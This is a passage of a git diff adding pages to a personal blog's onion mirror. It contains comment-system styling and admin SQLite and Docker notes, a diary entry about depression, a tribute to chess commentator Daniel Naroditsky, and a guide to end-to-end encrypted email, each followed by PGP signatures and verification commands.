    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/cupid/index.html b/public-onion/posts/cupid/index.html new file mode 100644 index 0000000..ed8986e --- /dev/null +++ b/public-onion/posts/cupid/index.html @@ -0,0 +1,582 @@ + + + + + + + +Cupid is so dumb | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Cupid is so dumb +

    + +
    +

    The lyrics are being played in my brain day and night.

    +

    “A hopeless romantic all my life”

    +

    “Surrounded by couples all the time”

    +

    “I guess I should take it as a sign”

    +

    But… “I gave a second chance to Cupid”

    +

    “But now I’m left here feelin’ stupid”

    +

    I might’ve given more than two chances to cupid.

    +

    But I’m still left here felling’ stupid.

    +

    “I look for his arrows every day”

    +

    “I guess he got lost or flew away”

    +

    But does it matter anymore? +It shouldn’t. It really shouldn’t.

    +

    Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I’ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn’t told me.

    +

    Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn’t funny, idk. What I do know however is that I’m hurt. There is a bit more to the story than that, but I don’t want to open it up. It’s way too personal to be opened.

    +

    The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.

    +

    I’ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.

    +

    I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.

    +

    I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.

    +

    For now all I know is that I’m stuck in MDD, and I cannot get out of it. I’m glad suicidal thoughs are off the table. I’m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.

    +

    I think this is just so painful to me in the sense that I don’t really have many friends that I consider as friends, and I’m being left alone from some groups that I don’t necesserially wanna be a part of. But oh well, I should not care.

    +

    Credit: Cupid by FIFTY FIFTY

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf
    +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv
    +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa
    +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl
    +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r
    +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7
    +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1
    +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm
    +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9
    +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/
    +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c=
    +=sXgB
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md.asc
    +gpg --verify cupid.md.asc cupid.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/danya.asc b/public-onion/posts/danya.asc new file mode 100644 index 0000000..bbcec72 --- /dev/null +++ b/public-onion/posts/danya.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9xQP/3O+ZA+A1BJKzO+VhrIVoyE1 +Z1w0Q9sLzW38TI3UC1t8mDeoWuyGTqTfBKP9SfZTarcAdKGAv5Wvn0YIuZP0CR7x +Wg6HleU8PYGCgyxZnW07acRjpt8P1ZajYrZ2UR+ZpAaV+dh7JXFfVGWtExFIN5c1 +qI0HVnPzKewG7UYJ3dguGdP7aOk8pQfCAw1nxwiDVyyMia33jX971hMjjrDWcvdV +hsLZ3j7ZX+Wn9Li5WaPTCTj8KyTF9+URuBhDDyFLkwcjhBpbi97p6EFwm4MNy88D +29byFXVb5SGEraWAtW8Njvw6SSirfhjwB3GozLeSeCCQpWi0W6NL1fU1XA9SjTMC +jPvhHua6QSq1sipdlaNm0t8kahv17m8jajeWgfZPQssYWxp0q3g8eud6ZYpIUsfG ++HGafMBOpTqBgMvT4YVgMPOjV5LYQio3i2nL/zwgFuHeetoJnLe5R0xTp38uEwGw +omHMVP/yRsbgG0ka4xvNcKstERONcJa+A6NuqKHyv/ndB6CoNpGqnZUl8DjhsMGR +btZEfQKVMczQ6r1X6TrPSFeAMaUPjpVPn365hiwgYZfFotoFZ6eaHbFVDLLUxnkw +gpMlIOSJ0w5a+CkRZMbEOYI6/aZ0KgRxL5r2nxes6L2hPhcy1wL9vxR/6jjkeicz +TwDhY5qW8ZzrxZU9uWS1 +=ftPQ +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/danya/index.html b/public-onion/posts/danya/index.html new file mode 100644 index 0000000..98a53a2 --- /dev/null +++ b/public-onion/posts/danya/index.html @@ -0,0 +1,582 @@ + + + + + + + +Danya | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Danya +

    +
    + A sad note about someone I knew in the online world. +
    + +
    +

    Daniel Naroditsky has passed away. +I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it.

    +

    The occasion is grim. +However, let’s remember the immense pressure he was under. +Let’s remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru!

    +

    The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don’t know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense.

    +

    I do think Danya went under so much pressure from these allegations, though. +I don’t know if he ever cheated or not, but like, what’s the point now? +He is gone. +He’ll never be back.

    +

    I don’t know what the cause was, but I hope he didn’t take his own life. +I don’t know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal.

    +

    Rest in peace, Danya. +I don’t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv
    +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2
    +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O
    +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9
    +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2
    +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c
    +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+
    +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B
    +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X
    +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8
    +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4=
    +=BEoA
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md.asc
    +gpg --verify danya.md.asc danya.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/e2ee/index.html b/public-onion/posts/e2ee/index.html new file mode 100644 index 0000000..bdf9e26 --- /dev/null +++ b/public-onion/posts/e2ee/index.html @@ -0,0 +1,726 @@ + + + + + + + +Sending End‑to‑End Encrypted Email (E2EE) without losing friends | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    + +
    + +

    If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
